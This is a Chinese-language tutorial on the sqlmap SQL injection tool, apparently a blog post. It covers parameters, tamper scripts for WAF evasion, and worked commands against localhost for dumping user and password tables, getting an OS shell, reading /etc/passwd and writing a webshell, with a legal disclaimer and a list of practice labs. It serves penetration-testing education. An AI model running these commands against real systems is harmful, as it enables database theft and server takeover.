Sqlmap 工具完全使用教程
免责声明:本教程仅供合法授权的安全测试和学习研究使用。未经授权对目标系统进行 SQL 注入测试属于违法行为,可能面临法律责任。请严格遵守《中华人民共和国网络安全法》及相关法律法规。
一、SQLMap 简介
SQLMap 是一款开源的自动化 SQL 注入检测与利用工具,由 Python 编写,支持多种数据库系统(MySQL、Oracle、SQL Server、PostgreSQL、SQLite 等)。它能够自动探测目标 URL 中的 SQL 注入漏洞,并利用漏洞枚举数据库信息、读取文件、执行系统命令等。
核心特性
| 特性 | 说明 |
|---|---|
| 全自动检测 | 自动识别注入点及注入类型 |
| 多数据库支持 | MySQL、Oracle、MSSQL、PostgreSQL、SQLite 等 |
| 多注入技术 | 布尔盲注、时间盲注、报错注入、联合查询、堆叠查询 |
| 数据库指纹识别 | 自动识别目标 DBMS 类型及版本 |
| WAF 绕过 | 内置 60+ tamper 脚本,绕过常见 WAF 防护 |
| 权限提升 | 支持 UDF 提权、--os-shell 获取系统 shell |
| 多目标支持 | 支持 Burp 日志、Google Dork、批量扫描 |
二、安装与更新
安装方式
bash
# 方式一:官网下载
https://sqlmap.org/
# 方式二:百度网盘下载
https://pan.baidu.com/s/1WtX-_VdJBNR9ErekAFMdyw?pwd=bua6 提取码: bua6
三、命令参数大全
3.1 通用参数
| 参数 | 功能说明 |
|---|---|
-h |
显示基本帮助信息 |
-hh |
显示高级帮助信息 |
--version |
显示版本号 |
--update |
更新 sqlmap 到最新版本 |
--batch |
使用默认选项,跳过所有交互式提问(非交互模式) |
--flush-session |
清空当前目标的会话文件,重新开始检测 |
--fresh-queries |
忽略会话文件中的缓存查询结果 |
--purge-output |
安全删除输出目录中的所有内容 |
--output-dir=DIR |
自定义输出目录路径 |
--save |
将当前选项保存到 INI 配置文件中 |
--sqlmap-shell |
进入交互式 sqlmap shell 模式 |
3.2 目标设置
| 参数 | 功能说明 | 使用场景 |
|---|---|---|
-u URL |
直接指定目标 URL | 单个 GET 请求注入点 |
-d |
直接连接数据库(非 HTTP) | 数据库直连 |
-l BURP_LOG |
从 Burp Suite 代理日志解析目标 | 批量扫描 |
-r REQUEST_FILE |
从文件加载 HTTP 请求 | POST/复杂请求注入 |
-g GOOGLE_DORK |
从 Google Dork 结果获取目标 | 批量发现目标 |
-c CONFIG_FILE |
从 INI 配置文件加载选项 | 复用配置 |
3.3 请求设置
| 参数 | 功能说明 |
|---|---|
--data=DATA |
指定 POST 请求体数据 |
--cookie=COOKIE |
指定 Cookie 值(需登录的场景) |
--cookie-del=DEL |
指定 Cookie 分隔符 |
--random-agent |
使用随机 User-Agent 头 |
-A AGENT |
手动指定 User-Agent |
--referer=REFERER |
指定 HTTP Referer 头 |
--headers=HEADERS |
设置额外的 HTTP 头(如 Content-Type: application/json) |
--method=METHOD |
强制指定 HTTP 方法(GET/POST) |
--auth-type=TYPE |
HTTP 认证类型(Basic、Digest、NTLM) |
--auth-cred=CREDS |
HTTP 认证凭据(用户名:密码) |
--proxy=PROXY |
使用代理(如 http://127.0.0.1:8080) |
--proxy-cred=CREDS |
代理认证凭据 |
--ignore-proxy |
忽略系统代理设置 |
--delay=SEC |
设置请求间隔延迟(秒),避免触发防护 |
--timeout=SEC |
连接超时时间(默认 30 秒) |
--retries=NUM |
连接超时后重试次数(默认 3 次) |
--force-ssl |
强制使用 SSL/HTTPS |
--eval=CODE |
请求前执行 Python 代码(用于动态参数计算) |
3.4 注入检测参数
| 参数 | 功能说明 | 推荐值 |
|---|---|---|
-p PARAM |
指定要测试的参数 | 如 -p id |
--skip=PARAM |
跳过指定参数不测试 | |
--dbms=DBMS |
强制指定后端数据库类型 | 如 --dbms=mysql |
--os=OS |
指定目标操作系统 | 如 --os=linux |
--level=LEVEL |
检测级别(1-5,默认 1) | 日常 3-4,深度 5 |
--risk=RISK |
风险级别(0-3,默认 1) | 日常 1,授权 3 |
--technique=TECH |
指定注入技术类型 | 默认 BEUSTQ |
--prefix=PREFIX |
手动指定 payload 前缀 | 伪静态场景 |
--suffix=SUFFIX |
手动指定 payload 后缀 | 伪静态场景 |
Level 与 Risk 级别详解
--level(检测深度):
| 级别 | 检测范围 | 适用场景 |
|---|---|---|
| 1 | 仅检测 URL 参数 | 快速初步检测 |
| 2 | URL 参数 + Cookie | 涉及 Cookie 注入 |
| 3 | URL + Cookie + User-Agent / Referer | 深度检测 HTTP 头注入 |
| 4 | 增加 Host 头检测 | 高级头注入 |
| 5 | 全面检测,包含更多 payload | 深度渗透,耗时较长 |
--risk(风险等级):
| 级别 | 风险内容 | 适用场景 |
|---|---|---|
| 0 | 无风险测试,不修改数据 | 生产环境 |
| 1 | 默认,大部分测试安全 | 日常测试 |
| 2 | 基于时间盲注的 OR 型测试 | 可能有副作用 |
| 3 | 基于布尔盲注的 OR 型更新 | 可能修改数据,谨慎使用 |
注入技术类型(--technique)
默认使用全部技术 BEUSTQ:
| 字母 | 技术 | 说明 |
|---|---|---|
| B | Boolean-based blind | 布尔盲注,通过 True/False 响应判断 |
| E | Error-based | 报错注入,利用数据库报错信息 |
| U | Union query-based | 联合查询注入,合并查询结果 |
| S | Stacked queries | 堆叠查询,执行多条 SQL 语句 |
| T | Time-based blind | 时间盲注,通过延时判断 |
| Q | Inline queries | 内联查询注入 |
3.5 枚举与数据提取参数
| 参数 | 功能说明 | 示例 |
|---|---|---|
-a / --all |
获取所有信息 | 完整枚举 |
-b |
获取 DBMS Banner | 数据库版本 |
--current-user |
当前数据库用户 | |
--current-db |
当前数据库名称 | |
--is-dba |
判断当前用户是否为 DBA | 权限评估 |
--users |
枚举所有数据库用户 | |
--passwords |
枚举用户密码哈希 | |
--privileges |
枚举用户权限 | |
--roles |
枚举用户角色 | |
--dbs |
枚举所有数据库 | |
--tables |
枚举数据库所有表 | |
--columns |
枚举表的所有列 | |
--schema |
枚举数据库架构 | |
--count |
统计表的行数 | |
--dump |
导出指定表的全部数据 | |
--dump-all |
导出所有数据库的全部数据 | ⚠️ 极度危险 |
-D DB |
指定目标数据库 | -D security |
-T TABLE |
指定目标表 | -T users |
-C COL |
指定目标列 | -C "username,password" |
--start=N |
导出数据起始行 | 分批导出 |
--stop=N |
导出数据结束行 | 分批导出 |
--hex |
使用 HEX 编码导出数据 | 二进制数据 |
--exclude-sysdbs |
排除系统数据库 | 只看业务数据 |
3.6 操作系统访问参数
| 参数 | 功能说明 | 前提条件 |
|---|---|---|
--os-cmd=CMD |
执行单条操作系统命令 | DBA 权限 |
--os-shell |
获取交互式操作系统 shell | DBA 权限 |
--os-pwn |
获取 OOB shell / Meterpreter / VNC | DBA + Metasploit |
--os-smbrelay |
一键获取 OOB shell | SMB 配置 |
--os-bof |
存储过程缓冲区溢出 | MSSQL 特定场景 |
--os-esc |
数据库进程用户权限提升 | DBA 权限 |
--msf-path=PATH |
指定 Metasploit 安装路径 | 联动 MSF |
3.7 文件系统访问参数
| 参数 | 功能说明 |
|---|---|
--file-read=RFILE |
从目标服务器读取文件 |
--file-write=LFILE |
向目标服务器写入本地文件 |
--file-dest=RFILE |
指定写入到目标服务器的路径 |
3.8 通用杂项参数
| 参数 | 功能说明 |
|---|---|
-v VERBOSITY |
详细输出等级(0-6,默认 1) |
-f |
获取 DBMS 版本指纹信息 |
--identify-waf |
检测目标是否部署 WAF |
--tamper=TAMPER |
使用 tamper 脚本绕过 WAF |
--mobile |
模拟移动端 User-Agent |
--wizard |
新手向导模式(交互式引导) |
--threads=N |
并发线程数(默认 1) |
-o |
开启所有优化开关 |
--predict-output |
预测输出(加速检索) |
--keep-alive |
使用持久 HTTP 连接 |
详细输出等级(-v)
| 等级 | 显示内容 |
|---|---|
| 0 | 仅显示 Python 错误和重要信息 |
| 1 | 显示信息及警告(默认) |
| 2 | 显示调试信息 |
| 3 | 显示注入 payload |
| 4 | 显示 HTTP 请求头 |
| 5 | 显示 HTTP 响应头 |
| 6 | 显示 HTTP 响应内容(完整页面) |
四、实战使用场景
场景 1:GET 请求注入(最基础)
bash
# 检测 URL 参数是否存在注入
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch
# 检测并获取所有数据库名
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch --dbs
# 获取指定数据库的表
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch -D webapp --tables
# 获取指定表的列
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch -D webapp -T users --columns
# 导出指定列的数据
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch -D webapp -T users -C "username,password" --dump
使用场景:URL 参数直接拼接 SQL 语句的页面(新闻详情、商品详情等)。
场景 2:POST 请求注入
bash
# 方式一:使用 --data 指定 POST 数据
python sqlmap.py -u "http://127.0.0.1/index.php" --data="username=admin&password=123" --batch
# 方式二:从文件加载请求(推荐)
# 1. 先在 Burp Suite 中抓取请求并保存为 request.txt
python sqlmap.py -r request.txt --batch
# 3. 指定测试参数
python sqlmap.py -r request.txt -p username --batch
使用场景:登录表单、搜索功能、评论提交等 POST 请求场景。
request.txt 文件格式:
POST /index.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
username=admin&password=123456
场景 3:Cookie 注入
bash
python sqlmap.py -u "http://127.0.0.1/index.php" --cookie="id=1; session=abc123" --batch --level=2
⚠️ Cookie 注入需要
--level至少为 2,否则 sqlmap 不会检测 Cookie 参数。
使用场景:当注入点在 HTTP Cookie 中(如用户 ID、Session ID 等直接拼入 SQL)。
场景 4:HTTP 头注入(User-Agent / Referer / X-Forwarded-For)
bash
# User-Agent 注入
python sqlmap.py -u "http://127.0.0.1/index.php" --level=3 -p User-Agent --batch
# X-Forwarded-For 注入
python sqlmap.py -u "http://127.0.0.1/index.php" --headers="X-Forwarded-For: 1*" --batch
⚠️ HTTP 头注入需要
--level至少为 3。
使用场景:服务器将客户端 IP(X-Forwarded-For)、User-Agent 等记录到数据库的场景(如日志系统、访问统计)。
场景 5:JSON / API 接口注入
bash
python sqlmap.py -u "http://127.0.0.1/index.php" \
--data='{"id": 1, "name": "test"}' \
--headers="Content-Type: application/json" \
--batch
使用场景:前后端分离应用、RESTful API、移动端接口。
场景 6:伪静态 URL 注入
bash
# 使用星号 * 标记注入点
python sqlmap.py -u "http://127.0.0.1/index.php" --batch
# 手动指定前后缀(适用于复杂伪静态)
python sqlmap.py -u "http://127.0.0.1/index.php" --prefix="') " --suffix=" -- " -p id --batch
使用场景 :URL 中的路径参数被拼入 SQL(如 /article/{id}.html)。
场景 7:需登录认证的注入
bash
# 方式一:直接提供 Cookie
python sqlmap.py -u "http://127.0.0.1/index.php" \
--cookie="PHPSESSID=abc123; user=admin" \
--batch
# 方式二:从 Burp 请求文件加载(自动携带所有认证信息)
python sqlmap.py -r authenticated_request.txt --batch
使用场景:需要登录后才能访问的页面存在注入漏洞(后台管理系统)。
场景 8:通过 Burp Suite 批量扫描
bash
# 从 Burp Suite 代理日志文件批量检测
python sqlmap.py -l burp_proxy.log --batch --level=3 --risk=1
使用场景:渗透测试中对整个目标站点进行批量 SQL 注入检测。
场景 9:使用代理隐匿身份
bash
# 使用 HTTP 代理
python sqlmap.py -u "http://127.0.0.1/index.php" --proxy="http://127.0.0.1:8080" --batch
# 使用 SOCKS5 代理(如 Tor)
python sqlmap.py -u "http://127.0.0.1/index.php" --proxy="socks5://127.0.0.1:9050" --batch
# 使用带认证的代理
python sqlmap.py -u "http://127.0.0.1/index.php" --proxy="http://proxy.example.com:8080" --proxy-cred="user:pass" --batch
使用场景:测试过程中需要隐藏真实 IP 地址。
场景 10:绕过 WAF 防护
第一步:识别 WAF
bash
python sqlmap.py -u "http://127.0.0.1/index.php" --identify-waf --batch
第二步:使用 tamper 脚本绕过
bash
# 单个 tamper 脚本
python sqlmap.py -u "http://127.0.0.1/index.php" --tamper="space2comment" --batch
# 组合多个 tamper 脚本
python sqlmap.py -u "http://127.0.0.1/index.php" --tamper="space2comment,randomcase,chardoubleencode" --batch
# 使用分块传输绕过
python sqlmap.py -u "http://127.0.0.1/index.php" --chunked --batch
使用场景:目标站点部署了 WAF/IPS/IDS 防护设备。
场景 11:时间盲注(无回显场景)
bash
# 强制使用时间盲注技术
python sqlmap.py -u "http://127.0.0.1/index.php" --technique=T --batch
# 调整延迟时间(默认 5 秒)
python sqlmap.py -u "http://127.0.0.1/index.php" --technique=T --time-sec=10 --batch
使用场景:注入点没有回显(不返回查询结果),也没有报错信息,只能通过延时判断。
场景 12:操作系统命令执行
bash
# 执行单条系统命令
python sqlmap.py -u "http://127.0.0.1/index.php" --os-cmd="whoami" --batch
# 获取交互式 Shell
python sqlmap.py -u "http://127.0.0.1/index.php" --os-shell --batch
# 读取服务器文件
python sqlmap.py -u "http://127.0.0.1/index.php" --file-read="/etc/passwd" --batch
# 向服务器写入文件(如 Webshell)
python sqlmap.py -u "http://127.0.0.1/index.php" --file-write="shell.php" --file-dest="/var/www/html/shell.php" --batch
⚠️ 需要 DBA 权限,且仅在合法授权测试中使用。
使用场景:已获取高权限注入,需要进一步渗透获取系统权限。
场景 13:二阶注入(二次注入)
bash
python sqlmap.py -u "http://127.0.0.1/index.php" --forms --second-url="http://127.0.0.1/index.php" --batch
使用场景:恶意数据先注册/存储,在另一个页面被拼接执行 SQL。
场景 14:动态参数计算(如 MD5 签名)
bash
python sqlmap.py -u "http://127.0.0.1/index.php" \
--data="id=1&sign=SIGN_PLACEHOLDER&time=TIMESTAMP" \
--eval="import hashlib,time;sign=hashlib.md5(('id=1&time='+str(int(time.time()))+'secret_key').encode()).hexdigest()" \
-p id --batch
使用场景:API 请求中包含动态签名或时间戳参数。
场景 15:从 Google Dork 批量发现目标
bash
python sqlmap.py -g "inurl:\".php?id=\" site:127.0.0.1" --batch --level=2
使用场景:信息收集阶段批量发现潜在注入点。
五、Tamper 脚本详解(WAF 绕过)
Tamper 脚本是 SQLMap 的核心 WAF 绕过机制。脚本位于 /usr/share/sqlmap/tamper/ 目录(Kali Linux)。
5.1 编码类
| 脚本 | 功能说明 |
|---|---|
base64encode.py |
对 payload 进行 Base64 编码 |
charencode.py |
对 payload 进行一次 URL 编码 |
chardoubleencode.py |
对 payload 进行双重 URL 编码 |
charunicodeencode.py |
URL-UNICODE 编码(适用于 ASP/ASP.NET) |
htmlencode.py |
对特殊字符进行 HTML 实体编码 |
overlongutf8.py |
使用超长 UTF-8 编码 |
percentencode.py |
对指定字符进行百分比编码 |
5.2 空格替换类
| 脚本 | 功能说明 |
|---|---|
space2comment.py |
空格 → /**/(最常用) |
space2plus.py |
空格 → + |
space2randomblank.py |
空格 → 随机空白符(\t、\n、\r等) |
space2dash.py |
空格 → -- 注释符 |
space2hash.py |
空格 → # 注释符 + 换行 |
space2mssqlblank.py |
空格 → 特定空白符(适用于 MSSQL) |
5.3 关键字与符号替换类
| 脚本 | 功能说明 |
|---|---|
randomcase.py |
SQL 关键字随机大小写(SELECT → SeLeCt) |
equaltolike.py |
= → LIKE(绕过等于号过滤) |
between.py |
> < → BETWEEN |
greatest.py |
> → GREATEST() |
modsecurityversioned.py |
MySQL 版本注释绕过 ModSecurity |
unionalltounion.py |
UNION ALL → UNION |
apostrophemask.py |
单引号 → UTF-8 等效编码 |
singlequotes.py |
单引号 → 双引号 |
5.4 特定 WAF 绕过类
| 脚本 | 功能说明 |
|---|---|
luanginx.py |
绕过 Lua-Nginx WAF |
varnish.py |
添加 X-originating-IP 头绕过 Varnish |
xforwardedfor.py |
伪造 X-Forwarded-For 头 |
bluecoat.py |
替换空格和等号(适用于 Bluecoat) |
modsecurityzeroversioned.py |
绕过 ModSecurity(空版本注释) |
charencode.py + randomcase.py |
组合绕过简单关键字过滤 |
5.5 Tamper 脚本使用示例
bash
# 绕过关键字大小写过滤
python sqlmap.py -u "http://127.0.0.1/index.php" --tamper="randomcase" --batch
# 绕过空格过滤
python sqlmap.py -u "http://127.0.0.1/index.php" --tamper="space2comment" --batch
# 多脚本组合(编码 + 大小写 + 空格替换)
python sqlmap.py -u "http://127.0.0.1/index.php" --tamper="space2comment,chardoubleencode,randomcase" --batch
六、高级技巧与优化
6.1 星号 * 标记注入点
当你明确知道注入点位置时,用 * 精确标记,避免浪费时间检测其他参数:
bash
python sqlmap.py -u "http://127.0.0.1/index.php" --batch
6.2 分批导出大数据
避免一次性导出大量数据触发告警或超时:
bash
# 导出第 1000-2000 行
python sqlmap.py -u "http://127.0.0.1/index.php" --dump -D webapp -T users --start=1000 --stop=2000 --batch
6.3 正则过滤提取
仅提取符合特定规则的数据:
bash
# 仅提取 admin 相关账号
python sqlmap.py -u "http://127.0.0.1/index.php" --dump -D webapp -T users -C email --regex=".*@admin\..*" --batch
6.4 CSRF Token 自动处理
目标表单包含 CSRF Token 时:
bash
python sqlmap.py -u "http://127.0.0.1/index.php" --csrf-token="csrf_token_name" --csrf-url="http://127.0.0.1/index.php" --batch
6.5 多线程加速
bash
python sqlmap.py -u "http://127.0.0.1/index.php" --threads=5 --batch
注意:线程过多可能压垮目标服务器或触发 WAF。
6.6 二进制数据 HEX 导出
当数据库字段包含二进制数据(如密码哈希、文件内容):
bash
python sqlmap.py -u "http://127.0.0.1/index.php" --dump -T users -C password --hex --batch
七、SQLMap + Burp Suite 联合工作流
这是实战中最常用的工作模式:
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ 浏览器访问 │────▶│ Burp Suite │────▶│ SQLMap │
│ 目标网站 │ │ 抓取请求 │ │ 加载请求 │
│ │◀────│ 保存为文件 │◀────│ 自动检测利用 │
└──────────────┘ └──────────────┘ └──────────────┘
操作步骤:
- 配置浏览器代理 :设置浏览器通过 Burp Suite(默认
127.0.0.1:8080) - 正常操作目标站点:登录、浏览、搜索等,让 Burp 记录所有请求
- 保存请求文件 :在 Burp 中右键目标请求 → Save to file →
request.txt - 用 SQLMap 加载检测:
bash
python sqlmap.py -r request.txt --batch --level=3 --risk=1
- 确认注入后深度利用:
bash
python sqlmap.py -r request.txt --batch -D target_db -T users -C "username,password,email" --dump
八、常见问题排查
| 问题 | 原因 | 解决方案 |
|---|---|---|
| 检测不到注入 | level 太低 | 提升 --level 到 3-5 |
| 被 WAF 拦截 | 触发安全规则 | 使用 --tamper + --identify-waf |
| 请求超时 | 网络延迟 / WAF | 增加 --timeout / --delay |
| POST 注入无效 | 数据未正确传递 | 检查 --data 格式,或用 -r 加载文件 |
| 时间盲注太慢 | 默认延迟 5 秒 | 使用 --technique=T + --threads 优化 |
| 找不到数据库 | 权限不足 | 使用 --is-dba 确认权限 |
| 报错注入失败 | 不支持报错回显 | 切换 --technique=BE 使用盲注 |
| Cookie 注入漏测 | level 太低 | 确保 --level>=2 |
| 伪静态检测不到 | 参数识别失败 | 用 * 标记注入点或加 --prefix/--suffix |
九、输出结果说明
SQLMap 检测完成后会输出注入类型和信息,关键信息解读:
[INFO] the back-end DBMS is MySQL >= 5.6
back-end DBMS: MySQL >= 5.6
[INFO] fetched data logged to text files under '/root/.sqlmap/output/127.0.0.1'
结果文件位置 :~/.sqlmap/output/{目标地址}/
| 文件 | 内容 |
|---|---|
log |
检测日志 |
session.sqlite |
会话数据 |
{db}/{table}.csv |
导出的数据(CSV 格式) |
十、安全红线与合规提醒
⚠️ 以下行为可能触犯法律,务必在合法授权范围内使用
| ❌ 严禁行为 | ✅ 正确做法 |
|---|---|
| 未经授权扫描他人网站 | 仅对自己拥有或获授权的系统测试 |
使用 --dump-all 大规模拖库 |
仅提取必要数据用于验证漏洞 |
在生产环境使用 --os-shell |
在隔离的测试环境中验证 |
| 利用发现的漏洞进行破坏 | 及时报告漏洞给所有者 |
| 使用工具进行 DDoS 攻击 | 控制请求速率,避免影响服务 |
合法使用场景:
- 本地搭建靶场练习(如 sqli-labs、DVWA)
- 企业内部授权渗透测试
- CTF 安全竞赛
- 漏洞众测平台授权项目
- 护网行动 / 攻防演练(在授权范围内)
十一、推荐靶场练习
| 靶场 | 说明 | 地址 |
|---|---|---|
| sqli-labs | SQL 注入经典靶场,65 关 | GitHub 搜索 sqli-labs |
| DVWA | 综合漏洞练习平台 | 本地搭建 |
| SQLi-labs | 分等级注入练习 | GitHub 开源 |
| PortSwigger Web Academy | 在线交互式 SQL 注入课程 | portswigger.net |
| HackTheBox | 在线渗透挑战平台 | hackthebox.com |
十二、命令速查表
快速检测
bash
# 快速检测 GET 注入
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch
# 快速检测 POST 注入
python sqlmap.py -u "http://127.0.0.1/index.php" --data="param=value" --batch
# 从 Burp 文件检测
python sqlmap.py -r request.txt --batch
信息枚举
bash
# 获取数据库 → 表 → 列 → 数据 的完整流程
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch --dbs # 1. 所有数据库
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch -D dbname --tables # 2. 指定库的表
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch -D dbname -T tblname --columns # 3. 指定表的列
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --batch -D dbname -T tblname -C "col1,col2" --dump # 4. 导出数据
WAF 绕过
bash
# 识别 WAF + 绕过
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --identify-waf --tamper="space2comment,randomcase" --batch
提权与命令执行
bash
# 获取 OS Shell
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --os-shell --batch
# 读取文件
python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --file-read="/etc/passwd" --batch